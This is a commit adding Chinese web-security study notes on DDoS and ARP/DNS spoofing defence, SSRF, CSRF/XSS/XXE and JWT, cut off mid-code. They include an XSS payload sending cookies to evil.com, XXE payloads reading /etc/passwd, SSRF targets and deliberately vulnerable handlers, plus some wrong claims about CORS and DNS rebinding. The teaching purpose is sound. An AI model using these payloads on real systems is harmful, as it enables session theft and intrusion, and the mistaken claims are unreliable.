vault backup: 2026-05-17 22:27:07
This commit is contained in:
@@ -0,0 +1,154 @@
|
||||
---
|
||||
tags: [计算机网络, DDoS, SYN Flood, HTTP Flood, MitM, ARP spoofing, DNS劫持]
|
||||
create time: 2026-05-18 04:55
|
||||
---
|
||||
|
||||
# DDoS 与中间人攻击(MitM)防御
|
||||
|
||||
## 概述
|
||||
|
||||
网络攻击的防护是 Defense in Depth——每一层都有自己的攻击面和对应的缓解措施。本章覆盖最常见的 L3/L4 DDoS、MitM(ARP/DNS 欺骗)、以及 DNS 劫持的技术原理和 Linux/运维层面的防御手段。
|
||||
|
||||
## DDoS(分布式拒绝服务)
|
||||
|
||||
### 各层攻击矩阵
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph "L3/L4 流量型攻击"
|
||||
S["SYN Flood<br/>伪造源 IP 发大量 SYN"]
|
||||
U["UDP Flood<br/>海量 UDP 包淹没带宽"]
|
||||
I["ICMP Flood<br/>ping of death"]
|
||||
A["Amplification<br/>DNS/NTP amplification (>100x)"]
|
||||
end
|
||||
|
||||
subgraph "L7 应用层攻击"
|
||||
H["HTTP Flood<br/>模拟正常请求压垮应用"]
|
||||
SL["Slowloris<br/>半开连接占满线程池"]
|
||||
RA["Resource Exhaustion<br/>解析超大 JSON/图片"]
|
||||
end
|
||||
|
||||
style S fill:#FFD700,color:#000
|
||||
style H fill:#FF6B6B,color:#fff
|
||||
```
|
||||
|
||||
### L3/L4 DDoS 防御
|
||||
|
||||
| 攻击类型 | 原理 | 防御手段 |
|
||||
|---------|------|---------|
|
||||
| **SYN Flood** | 伪造源 IP 发送大量 SYN,耗尽半连接队列 | SYN Cookie, rate limit, 增大 tcp_max_syn_backlog |
|
||||
| **UDP Flood** | 海量 UDP 包吞没出口带宽 | upstream filtering, CDN 清洗 |
|
||||
| **ICMP Flood** | ping 风暴 | firewall rule, icmp_ratelimit |
|
||||
| **NTP Amplification** | 利用 open resolver 做放大反射 | BCP38 Source Guard |
|
||||
|
||||
```bash
|
||||
# Linux 内置防御命令
|
||||
$ sysctl net.ipv4.tcp_syncookies=1 # SYN Cookie: 内核自动处理 SYN Flood
|
||||
$ sysctl net.ipv4.tcp_max_syn_backlog=8192 # 增大 SYN 半连接队列
|
||||
$ sysctl net.ipv4.icmp_echo_ignore_all=1 # 极端:完全忽略所有 ping(不推荐)
|
||||
$ sysctl net.ipv4.icmp_ratelimit=1000 # 每秒最多处理 1000 个 ICMP 包
|
||||
|
||||
# iptables 限速规则
|
||||
sudo iptables -A INPUT -p tcp --syn -m limit --limit 100/s --limit-burst 200 -j ACCEPT
|
||||
sudo iptables -A INPUT -p tcp --syn -j DROP # 超过阈值丢包
|
||||
|
||||
# fail2ban —— 基于日志的动态封禁
|
||||
# /etc/fail2ban/jail.local
|
||||
[sshd]
|
||||
enabled = true
|
||||
maxretry = 3
|
||||
bantime = 3600
|
||||
findtime = 60
|
||||
```
|
||||
|
||||
### L7 DDoS 防御
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────┐
|
||||
│ L7 攻击无法在单台服务器上有效防御 │
|
||||
│ │
|
||||
│ ✅ CDN (Cloudflare/AWS CloudFront) 清洗 │
|
||||
│ ✅ WAF (Web Application Firewall) 拦截异常请求 │
|
||||
│ ✅ Rate Limiting (API 限流, Redis + Lua) │
|
||||
│ ✅ CAPTCHA 人机验证 │
|
||||
│ ✅ 连接超时 (Go http.Server IdleTimeout) │
|
||||
│ │
|
||||
│ ❌ 自己写代码挡不住百万 QPS 的 HTTP Flood │
|
||||
└─────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
> [!tip] Slowloris 的原理与 Go 的免疫方式
|
||||
>
|
||||
> Slowloris 发起成千上万的 HTTP 连接,每个只发送部分请求头并保持活着——永远不发完整的 `\r\n\r\n`。这会让服务器的连接池被占满。
|
||||
>
|
||||
> **Go 天然免疫**:`http.Server.ReadHeaderTimeout` 会在超时后自动关闭未完成请求头的连接。这是 Go 高并发安全的一大优势。
|
||||
|
||||
## MITM(中间人攻击)
|
||||
|
||||
### ARP 欺骗实现 MITM
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant C as 受害者主机<br/>192.168.1.100
|
||||
participant A as 攻击者<br/>192.168.1.200
|
||||
participant R as 真实网关<br/>192.168.1.1
|
||||
|
||||
C->>R: ARP: "Who has 192.168.1.1?"
|
||||
R-->>C: "I am 192.168.1.1, MAC=aa:bb:cc"
|
||||
|
||||
A->>C: Gratuitous ARP: "192.168.1.1 is ME aa:dd:ee!" ⚡
|
||||
Note over C: C 更新了 ARP 缓存 → 把网关 MAC 指向攻击者!
|
||||
|
||||
C->>A: 所有流量 → 攻击者的网卡 (二层交换)
|
||||
A->>R: 转发流量到真实网关 (ip_forward=1)
|
||||
R-->>A: 响应回传
|
||||
A-->>C: 解密/篡改后再转发给 C
|
||||
|
||||
Note over C,A,R: C 和 R 都以为在和对方通信 🚨
|
||||
```
|
||||
|
||||
**ARP 欺骗的检测与防御:**
|
||||
|
||||
```bash
|
||||
# 检测 ARP Spoofing
|
||||
arp -a # 查看本地 ARP 缓存表
|
||||
watch -n 1 'arp -n | grep 192.168.1' # 实时监控 ARP 条目变化
|
||||
|
||||
# 静态绑定(适用于服务器)
|
||||
arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff # 手动固定网关 MAC
|
||||
# 写入 /etc/network/interfaces 持久化
|
||||
|
||||
# arpon/arpoison 工具检测
|
||||
arping -I eth0 -c 3 192.168.1.1 # 主动探测是否有重复响应
|
||||
```
|
||||
|
||||
### DNS 欺骗与污染
|
||||
|
||||
```
|
||||
正常流程: DNS 污染:
|
||||
client → recursive DNS ─→ A record → 正确 IP client → malicious DNS ─→ wrong IP (跳转至攻击者)
|
||||
↑ ↑
|
||||
Cloudflare/Google DNS ISP/路由器被劫持
|
||||
```
|
||||
|
||||
```bash
|
||||
# 检测 DNS 污染的对比方法
|
||||
$ dig example.com @8.8.8.8 # Google DNS —— 干净的参考结果
|
||||
$ dig example.com @1.1.1.1 # Cloudflare DNS —— 交叉验证
|
||||
$ dig example.com @local_dns # 本地 DNS —— 可能被污染
|
||||
|
||||
# 使用 DoH 防止 DNS 劫持
|
||||
$ curl https://dns.google/resolve?name=example.com&type=A \
|
||||
-H 'accept: application/dns-json'
|
||||
{"Status":0,"Answer":[{"name":"example.com","type":5,...}]}
|
||||
|
||||
# 使用 doh-proxy 或 cloudflared 为系统级别启用 DoH
|
||||
sudo systemctl enable --now cloudflared-dns-proxy
|
||||
```
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/NETWORK/TLS安全实践]] — TLS/HSTS/OCSP Stapling 是 MitM 的核心防线
|
||||
- [[hhs/NETWORK/HTTPS与TLS握手]] — 证书链验证如何抵抗 MitM
|
||||
- [[hhs/NETWORK/Web应用攻击面]] — L7 攻击面的补充(CSRF/XSS/XXE)
|
||||
- [[hhs/NETWORK/IPv6地址与扩展头部]] — ND(Neighbor Discovery)替代 ARP,同样有安全风险
|
||||
@@ -0,0 +1,217 @@
|
||||
---
|
||||
tags: [计算机网络, SSRF, DNS安全, DNSSEC, DoH, NAT穿透]
|
||||
create time: 2026-05-18 05:00
|
||||
---
|
||||
|
||||
# SSRF 与 DNS 安全
|
||||
|
||||
## 概述
|
||||
|
||||
SSRF(服务端请求伪造)是近年来增长最快的 Web 漏洞之一,它利用的是"服务器代替用户发起请求"的能力。DNS 层面则有从传统查询到 DoH/DoT 的安全演进。
|
||||
|
||||
## SSRF(Server-Side Request Forgery)
|
||||
|
||||
### 什么是 SSRF?
|
||||
|
||||
当应用程序接受一个 URL 作为输入,并在服务端向该 URL 发起请求时,攻击者可以构造特殊 URL 让服务器访问**内部资源**(内网 API、元数据服务、数据库端口等)。
|
||||
|
||||
### 典型攻击场景
|
||||
|
||||
```go
|
||||
// ❌ 危险代码:用户控制 URL,服务器代替用户发起请求
|
||||
func fetchImageHandler(w http.ResponseWriter, r *http.Request) {
|
||||
url := r.URL.Query().Get("url") // 用户可传入内网地址!
|
||||
resp, err := http.Get(url) // GET http://169.254.169.254/latest/meta-data/
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
io.Copy(w, resp.Body)
|
||||
// AWS EC2 返回: access_key, secret_key, role... 💀
|
||||
}
|
||||
```
|
||||
|
||||
### SSRF 常见探测目标
|
||||
|
||||
```
|
||||
目标 说明 危害
|
||||
────────────────────── ─────────────────────── ────────────────────
|
||||
169.254.169.254 AWS/Azure/GCP 元数据 获取云实例凭证
|
||||
10.0.0.x / 172.16.x.x 内网扫描 发现内网服务
|
||||
file:///etc/passwd 文件读取协议 读取服务器敏感文件
|
||||
gopher:// / dict:// Gopher/Dict 协议 利用回显放大攻击
|
||||
docker.sock Docker Socket 远程执行容器命令
|
||||
localhost:6379 Redis/Memcached 内网渗透跳板
|
||||
```
|
||||
|
||||
### 安全的 SSRF 防御方案
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"time"
|
||||
)
|
||||
|
||||
var safeClient = &http.Client{
|
||||
Timeout: 10 * time.Second,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return errors.New("no redirect") // 禁止重定向!攻击者可以用 302 绕校验
|
||||
},
|
||||
}
|
||||
|
||||
// SafeFetch 安全地从一个 URL 获取内容
|
||||
func SafeFetch(urlStr string) ([]byte, error) {
|
||||
parsed, err := url.Parse(urlStr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 第一步:解析域名,拿到 IP
|
||||
ips, err := net.LookupIP(parsed.Host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 第二步:检查所有可能的 IP(IPv4 + IPv6)
|
||||
for _, ip := range ips {
|
||||
if isUnsafeIP(ip) {
|
||||
return nil, errors.New("unsafe IP blocked: " + ip.String())
|
||||
}
|
||||
}
|
||||
|
||||
// 第三步:额外检查 Host 字段(防止 DNS rebinding 攻击)
|
||||
if hostIP := net.ParseIP(parsed.Host); hostIP != nil {
|
||||
if isUnsafeIP(hostIP) {
|
||||
return nil, errors.New("host IP unsafe: " + hostIP.String())
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := safeClient.Get(urlStr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func isUnsafeIP(ip net.IP) bool {
|
||||
if ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() ||
|
||||
ip.IsLinkLocalMulticast() || ip.IsUnspecified() {
|
||||
return true
|
||||
}
|
||||
// 额外检查:云元数据地址段
|
||||
if ip.Equal(net.ParseIP("169.254.169.254")) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
```go
|
||||
// Nginx 层面的 SSRF 防御(反向代理入口)
|
||||
location /api/fetch {
|
||||
# 禁止直接访问内网
|
||||
internal; # 只允许内部 rewrite 访问
|
||||
|
||||
proxy_pass $arg_url;
|
||||
proxy_hide_header Access-Control-Allow-Origin;
|
||||
}
|
||||
```
|
||||
|
||||
> [!warning] DNS Rebinding 攻击
|
||||
>
|
||||
> 即使你检查了初始 IP,攻击者仍可以将 DNS TTL 设为极小值(如 0 秒),让你的代码先校验合法 IP,然后在第二次请求时 DNS 已返回内网 IP。
|
||||
> **应对策略**:在整个请求生命周期中持续校验;使用白名单域名而非黑名单 IP;禁用重定向。
|
||||
|
||||
## DNS 安全
|
||||
|
||||
### DNSSEC —— 给 DNS 加上数字签名
|
||||
|
||||
```
|
||||
传统 DNS(明文无签名): DNSSEC(带签名验证):
|
||||
Resolver → authoritative → answer Resolver → authoritative → answer + SIG
|
||||
Resolver 用 DNSKEY 验证签名 ✅
|
||||
|
||||
如果签名不对 → 返回 SERVFAIL ❌
|
||||
```
|
||||
|
||||
```bash
|
||||
# 检查某域名的 DNSSEC 状态
|
||||
$ dig +dnssec example.com
|
||||
;; flags: ad; AD 表示 Answer data verified by DNSSEC ✅
|
||||
|
||||
# 本地递归解析器配置(bind / unbound)
|
||||
# /etc/bind/named.conf
|
||||
dnssec-validation auto; # bind 自动下载根密钥
|
||||
```
|
||||
|
||||
### DoH / DoT / DoQ —— 加密 DNS 查询
|
||||
|
||||
| 协议 | 载体 | 端口 | 特点 |
|
||||
|------|------|------|------|
|
||||
| **DNS over TLS (DoT)** | TCP + TLS | 853 | RFC 7858, 传输层加密 |
|
||||
| **DNS over HTTPS (DoH)** | HTTP/2 + TLS | 443 | RFC 8484, 伪装成 HTTPS 流量 |
|
||||
| **DNS over QUIC (DoQ)** | QUIC | 853 | 最新标准, 低延迟 + 抗干扰 |
|
||||
|
||||
```bash
|
||||
# curl 测试 DoH
|
||||
$ curl -v https://dns.google/resolve?name=example.com&type=A \
|
||||
-H 'accept: application/dns-json'
|
||||
* TLS 1.3 connection using TLS_AES_256_GCM_SHA384
|
||||
* DNS query goes over encrypted HTTPS channel ✅
|
||||
|
||||
# unbound 配置 DoT 递归
|
||||
# /etc/unbound/unbound.conf.d/doth-forwarders.conf
|
||||
forward-zone:
|
||||
name: "."
|
||||
forward-ssl-upstream: yes
|
||||
forward-addr: 1.1.1.1@853 # Cloudflare DoT
|
||||
forward-addr: 8.8.8.8@853 # Google DoT
|
||||
```
|
||||
|
||||
### DHCP 安全注意事项
|
||||
|
||||
```
|
||||
DHCP DORA 四步本身是无认证的:
|
||||
Discover → Offer → Request → Acknowledge
|
||||
|
||||
风险:
|
||||
• Rogue DHCP Server:恶意 DHCP 分配错误的网关/DNS
|
||||
• DHCP Starvation:耗尽 DHCP 地址池
|
||||
|
||||
防御:
|
||||
• Switch 端口安全:DHCP Snooping
|
||||
• 802.1X 认证:未认证的端口不参与 DHCP
|
||||
• 静态绑定:关键设备用 static IP + DHCP Reservation
|
||||
```
|
||||
|
||||
## NAT 穿透技术补充
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
STUN["STUN<br/>穿越 NAT 发现自己对外暴露的地址/port"] --> ICE
|
||||
TURN["TURN<br/>中继服务器转发流量<br/>兜底方案"] --> ICE
|
||||
ICE["ICE 框架<br/>按优先级尝试: direct → STUN → TURN"] --> SUCCESS["✅ 建立 P2P 连接"]
|
||||
|
||||
style STUN fill:#98FB98,color:#000
|
||||
style TURN fill:#FFD700,color:#000
|
||||
style SUCCESS fill:#DDA0DD,color:#000
|
||||
```
|
||||
|
||||
- **STUN**:客户端向 STUN 服务器发请求,拿到自己的公网 IP:Port。但对称型 NAT 下 STUN 失效。
|
||||
- **TURN**:所有流量经中继服务器中转,兼容性最好但延迟最高。
|
||||
- **ICE**:WebRTC 的标准框架,同时收集候选地址并按连通性排序。
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/NETWORK/NAT原理与应用]] — NAT 穿透技术(STUN/TURN/ICE)的详细原理
|
||||
- [[hhs/NETWORK/DNS与DHCP与WebSocket]] — DNS 递归查询与 DoH/DoT 的完整实现
|
||||
- [[hhs/NETWORK/04-寻址体系MAC-IPTPort]] — 私有 IP 地址范围用于 SSRF 校验判断
|
||||
@@ -0,0 +1,208 @@
|
||||
---
|
||||
tags: [计算机网络, CSRF, XSS, XXE, CORS, Web安全]
|
||||
create time: 2026-05-18 05:05
|
||||
---
|
||||
|
||||
# Web 应用攻击面:CSRF / XSS / XXE
|
||||
|
||||
## 概述
|
||||
|
||||
L7(应用层)攻击是黑客最常利用的层面。CSRF、XSS、XXE 三个名字相似但原理迥异,理解它们的区别和对应的防御手段是每个后端开发者的必修课。
|
||||
|
||||
## CSRF vs XSS vs XXE —— 三巨头对比
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph "CSRF: 借用户的身份做操作"
|
||||
direction TB
|
||||
C1["用户已登录银行网站"] --> C2["访问恶意页面<br/>包含 <img src='bank.com/transfer'>"]
|
||||
C2 --> C3["浏览器自动带上 cookie → 转账成功"]
|
||||
end
|
||||
|
||||
subgraph "XSS: 在用户浏览器执行脚本"
|
||||
direction TB
|
||||
X1["网站注入恶意 JS"] --> X2["其他用户打开含攻击页面的链接"]
|
||||
X2 --> X3["脚本在受害者上下文中执行 → 窃取 cookie"]
|
||||
end
|
||||
|
||||
style C1 fill:#DDA0DD,color:#000
|
||||
style X1 fill:#FFD700,color:#000
|
||||
```
|
||||
|
||||
### 详细对比表
|
||||
|
||||
| 特性 | CSRF | XSS (Reflected) | XSS (Stored) | XXE |
|
||||
|------|------|-----------------|--------------|-----|
|
||||
| **全名** | Cross-Site Request Forgery | Cross-Site Scripting | Stored/Persistent XSS | XML External Entity |
|
||||
| **攻击目标** | 服务器操作 | 客户端浏览器 | 客户端浏览器 | 服务器文件系统/内网 |
|
||||
| **核心漏洞** | 服务端没验证请求来源 | 输入未过滤直接输出到页面 | 持久化存储了恶意内容 | XML 解析器处理了外部实体 |
|
||||
| **用户需操作** | 只需打开恶意页面 | 只需点击带payload链接 | 完全被动 | 无需用户参与 |
|
||||
| **防御方式** | SameSite Cookie, CSRF Token, Referer 检查 | CSP, 输入编码, HTTPOnly Cookie | 同上 + 富文本 sanitizer | 禁用 DTD/外部实体 |
|
||||
| **危害等级** | 高(能代用户操作) | 中高(能盗取会话) | 最高(持久传播) | 极高(RCE/文件读取) |
|
||||
| **OWASP排名** | #9 | #3 | #3 | N/A |
|
||||
|
||||
### CSRF 详解
|
||||
|
||||
```
|
||||
攻击流程:
|
||||
─────────────────────────────────────
|
||||
1. 用户在 bank.com 已登录(cookie 有效中)
|
||||
2. 用户访问 evil.com
|
||||
3. evil.com 包含:
|
||||
<form action="https://bank.com/transfer" method="POST">
|
||||
<input name="to" value="hacker_account"/>
|
||||
<input name="amount" value="10000"/>
|
||||
<input type="submit" value="领取奖励!"/>
|
||||
</form>
|
||||
4. 用户点击提交 → 浏览器自动携带 bank.com 的 cookie
|
||||
5. bank.com 以为是合法操作 → 转账成功 💸
|
||||
```
|
||||
|
||||
```go
|
||||
// ❌ 没有 CSRF 保护的 Go handler
|
||||
func TransferHandler(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodPost {
|
||||
to := r.FormValue("to")
|
||||
amount := r.FormValue("amount")
|
||||
// ⚠️ 没有验证请求来源!任何网站都能伪造 POST 请求
|
||||
transferMoney(to, amount)
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 方案一:CSRF Token
|
||||
type CSRFStore struct {
|
||||
tokens sync.Map // token → userID + expiry
|
||||
}
|
||||
|
||||
func GenerateCSRFToken(userID string) (string, error) {
|
||||
tokenBytes := make([]byte, 32)
|
||||
rand.Read(tokenBytes)
|
||||
token := base64.URLEncoding.EncodeToString(tokenBytes)
|
||||
|
||||
store.tokens.Store(token, userID)
|
||||
go func() {
|
||||
time.Sleep(24 * time.Hour)
|
||||
store.tokens.Delete(token) // token 过期清理
|
||||
}()
|
||||
return token, nil
|
||||
}
|
||||
|
||||
// ✅ 方案二:SameSite Cookie(现代浏览器原生支持)
|
||||
http.SetCookie(w, &http.Cookie{
|
||||
Name: "session",
|
||||
Value: sessionID,
|
||||
Path: "/",
|
||||
HttpOnly: true, // JS 无法读取
|
||||
SameSite: http.SameSiteStrictMode, // ← 关键!禁止跨站携带
|
||||
})
|
||||
```
|
||||
|
||||
```nginx
|
||||
# Nginx 层面的 CSRF 防御
|
||||
location /api {
|
||||
# 校验 Referer(可被浏览器插件或旧浏览器绕过,仅作第二道防线)
|
||||
if ($http_referer !~* ^https://(www\.)?yourdomain\.com) {
|
||||
return 403;
|
||||
}
|
||||
proxy_pass http://backend;
|
||||
}
|
||||
```
|
||||
|
||||
### XSS 详解
|
||||
|
||||
```
|
||||
反射型 XSS 流程:
|
||||
───────────────────────
|
||||
1. 攻击者构造恶意 URL:
|
||||
https://site.com/search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
|
||||
2. 受害者点击该 URL
|
||||
3. 服务器把 q 参数原样放回 HTML 响应中
|
||||
4. 浏览器执行脚本 → cookie 被盗 🚨
|
||||
|
||||
存储型 XSS 流程:
|
||||
───────────────────────
|
||||
1. 攻击者在评论区发帖: <script src=http://evil.com/xss.js></script>
|
||||
2. 帖子被存入数据库
|
||||
3. 所有浏览此页面的用户都会执行恶意脚本
|
||||
4. 比反射型 XSS 危害大 10 倍(一次注入,无限受害)
|
||||
```
|
||||
|
||||
```go
|
||||
// ✅ Go 的 html/template 自动转义,是最强的 XSS 防御
|
||||
import "html/template"
|
||||
|
||||
tmpl, _ := template.New("search").Parse(`
|
||||
<h1>Search results for: {{.Query}}</h1>
|
||||
<!-- .Query 会被自动 HTML-escape → <script → <script> -->
|
||||
`)
|
||||
// tmpl.Execute(w, data) → 输出中的特殊字符已被转义
|
||||
```
|
||||
|
||||
```bash
|
||||
# CSP (Content Security Policy) 头 — XSS 的第二道防线
|
||||
# 即使 XSS payload 被执行了,CSP 也能阻止它加载外部资源
|
||||
HTTP/1.1
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'
|
||||
# default-src 'self' → 只允许同源资源
|
||||
# script-src 'self' ... → 禁止内联 script 和外部未知域
|
||||
```
|
||||
|
||||
### XXE 详解
|
||||
|
||||
```xml
|
||||
<!-- 正常 XML -->
|
||||
<?xml version="1.0"?>
|
||||
<user>
|
||||
<name>Alice</name>
|
||||
<email>alice@example.com</email>
|
||||
</user>
|
||||
|
||||
<!-- XXE 攻击 payload -->
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<user>
|
||||
<name>&xxe;</name> <!-- 服务器返回 /etc/passwd 的内容 -->
|
||||
</user>
|
||||
|
||||
<!-- 更危险的版本:SSRF 式内网扫描 -->
|
||||
<!ENTITY attack SYSTEM "gopher://10.0.0.1:6379/_INFO">
|
||||
<!-- Redis INFO 命令返回值被写入响应 -->
|
||||
```
|
||||
|
||||
```go
|
||||
// ✅ Go 的 encoding/xml 默认禁用外部实体,相对安全
|
||||
// 但仍需注意 SAX parser 等第三方库的安全配置
|
||||
|
||||
// Java 中需要明确关闭 XXE
|
||||
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
|
||||
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
|
||||
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
factory.setExpandEntityReferences(false);
|
||||
```
|
||||
|
||||
## CORS vs CSRF —— 经常被混淆的两个概念
|
||||
|
||||
```
|
||||
CORS (Cross-Origin Resource Sharing):
|
||||
──────────────────────────────────────
|
||||
• 浏览器的安全策略,防止网页加载跨域资源
|
||||
• 由浏览器自动执行,服务器通过响应头配合
|
||||
• Access-Control-Allow-Origin: https://trusted.com
|
||||
|
||||
CSRF (Cross-Site Request Forgery):
|
||||
────────────────────────────────────
|
||||
• 攻击者利用已登录用户的凭证伪造请求
|
||||
• 与 CORS 无关!CORS 不防 CSRF
|
||||
• 防御用 SameSite Cookie + CSRF Token
|
||||
```
|
||||
|
||||
> [!important] 核心结论
|
||||
> CORS 不是 CSRF 的替代品。即使一个站点禁用了 CORS(`Access-Control-Allow-Origin: *`),依然会受到 CSRF 攻击。两者保护的是不同层面的安全问题。
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/NETWORK/DDoS与MITM防御]] — L3/L4 攻击面的补充
|
||||
- [[hhs/NETWORK/JWT认证与授权安全]] — JWT 也是攻击重灾区
|
||||
- [[hhs/NETWORK/TLS安全实践]] — HSTS 是防范协议降级攻击的基础
|
||||
@@ -0,0 +1,319 @@
|
||||
---
|
||||
tags: [计算机网络, JWT, OAuth2, OIDC, mTLS, TLS安全, CipherSuite, OCSP]
|
||||
create time: 2026-05-18 05:10
|
||||
---
|
||||
|
||||
# JWT 认证与 TLS 安全实践
|
||||
|
||||
## 概述
|
||||
|
||||
本章覆盖两个关键领域:Web API 最常用的认证机制 JWT 的安全性陷阱,以及 HTTPS/TLS 在生产环境中的正确配置方式。这两者是保护 API 安全的左右手。
|
||||
|
||||
## JWT 安全深度剖析
|
||||
|
||||
### JWT 结构回顾
|
||||
|
||||
```
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. ← Header (base64url)
|
||||
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9. ← Payload (base64url)
|
||||
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature (HMACSHA256)
|
||||
```
|
||||
|
||||
```json
|
||||
// Header
|
||||
{"alg":"HS256","typ":"JWT"}
|
||||
|
||||
// Payload
|
||||
{"sub":"1234567890","name":"John","iat":1516239022,"exp":1516242622}
|
||||
```
|
||||
|
||||
### JWT 六大常见漏洞
|
||||
|
||||
| # | 漏洞 | 攻击手法 | 修复方案 |
|
||||
|---|------|---------|---------|
|
||||
| 1 | **alg: none** | 篡改 header 为 `{"alg":"none"}`, 签名变为空字符串即可通过验证 | 服务端严格白名单验签算法 |
|
||||
| 2 | **无 exp 字段** | Token 永远有效,一旦泄露无法撤销 | 设置合理的 TTL(通常 ≤ 1h)+ refresh token |
|
||||
| 3 | **弱密钥** | HS256 用短/简单密钥可暴力破解 | 使用 ≥ 32 字节的随机密钥,或改用 RS256/ES256 |
|
||||
| 4 | **密钥复用** | 多个服务用同一个 secretKey | 每个服务独立密钥,或使用 JWK Set 动态获取公钥 |
|
||||
| 5 | **时钟偏差** | 服务器时间不同步导致 exp 判断异常 | NTP 同步 + leeway 容忍窗口 |
|
||||
| 6 | **敏感数据明文** | base64 ≠ 加密,payload 中放了密码/身份证 | payload 只能放非敏感声明 (standard claims) |
|
||||
|
||||
### 安全的 JWT 实现
|
||||
|
||||
```go
|
||||
import (
|
||||
"github.com/golang-jwt/jwt/v5"
|
||||
"crypto/rand"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 生成足够强度的密钥(至少 32 bytes)
|
||||
func generateSecretKey() []byte {
|
||||
key := make([]byte, 32)
|
||||
rand.Read(key)
|
||||
return key
|
||||
}
|
||||
|
||||
// ✅ 安全的 JWT 签发
|
||||
const jwtExpiry = 15 * time.Minute // access token 有效期短
|
||||
|
||||
func GenerateJWT(userID string) (string, error) {
|
||||
claims := jwt.MapClaims{
|
||||
"sub": userID, // subject: 用户 ID
|
||||
"iat": time.Now().Unix(), // issued at
|
||||
"exp": time.Now().Add(jwtExpiry).Unix(), // ⚠️ 必须有 exp!
|
||||
"nbf": time.Now().Unix(), // not before (防止提前使用)
|
||||
"jti": randomUUID(), // JWT ID: 唯一标识,用于黑名单撤销
|
||||
}
|
||||
|
||||
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
|
||||
return token.SignedString(secretKey)
|
||||
}
|
||||
|
||||
// ✅ 安全的 JWT 验证
|
||||
func VerifyJWT(tokenStr string) (*jwt.Token, error) {
|
||||
token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
|
||||
// 1. 强制校验算法(防止 alg: none 攻击)
|
||||
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
|
||||
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
|
||||
}
|
||||
return secretKey, nil
|
||||
})
|
||||
|
||||
if err != nil || !token.Valid {
|
||||
return nil, fmt.Errorf("invalid token")
|
||||
}
|
||||
|
||||
// 2. 提取并检查标准声明
|
||||
claims, ok := token.Claims.(jwt.MapClaims)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("invalid claims format")
|
||||
}
|
||||
|
||||
// 3. 检查 jti 是否在黑名单中(手动撤销场景)
|
||||
jti, _ := claims["jti"].(string)
|
||||
if blacklist.Check(jti) {
|
||||
return nil, fmt.Errorf("token revoked")
|
||||
}
|
||||
|
||||
return token, nil
|
||||
}
|
||||
```
|
||||
|
||||
### Refresh Token 模式
|
||||
|
||||
```
|
||||
access token: 有效期 15 分钟,用于每次 API 请求
|
||||
refresh token: 有效期 7 天,用于换取新的 access token
|
||||
───────────────────────────────────────────────────
|
||||
|
||||
┌─────────────┐ ┌──────────────┐
|
||||
│ Client │ │ Auth Server │
|
||||
└──────┬──────┘ └──────┬───────┘
|
||||
│ │
|
||||
│ 1. Login → access + refresh │
|
||||
│─────────────────────────────────→│
|
||||
│ │
|
||||
│ 2. API request with access token │
|
||||
│─────────────────────────────────→│
|
||||
│ (15min later...) │
|
||||
│ │
|
||||
│ 3. access expired → 401 │
|
||||
│←─────────────────────────────────│
|
||||
│ │
|
||||
│ 4. exchange refresh for new │
|
||||
│─────────────────────────────────→│
|
||||
│ new access token │
|
||||
│←─────────────────────────────────│
|
||||
│ │
|
||||
│ 5. Continue with new access token│
|
||||
│─────────────────────────────────→│
|
||||
```
|
||||
|
||||
```go
|
||||
// Go 中间件: 拦截 401 并自动刷新
|
||||
func authMiddleware(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
token := extractBearerToken(r)
|
||||
claims, err := VerifyJWT(token)
|
||||
if err != nil {
|
||||
// token 无效 → 尝试用 refresh token 换新 token
|
||||
rt := extractRefreshToken(r)
|
||||
newAccessToken, err := RefreshAccessToken(rt)
|
||||
if err != nil {
|
||||
http.Error(w, "unauthorized", 401)
|
||||
return
|
||||
}
|
||||
r.Header.Set("Authorization", "Bearer "+newAccessToken)
|
||||
}
|
||||
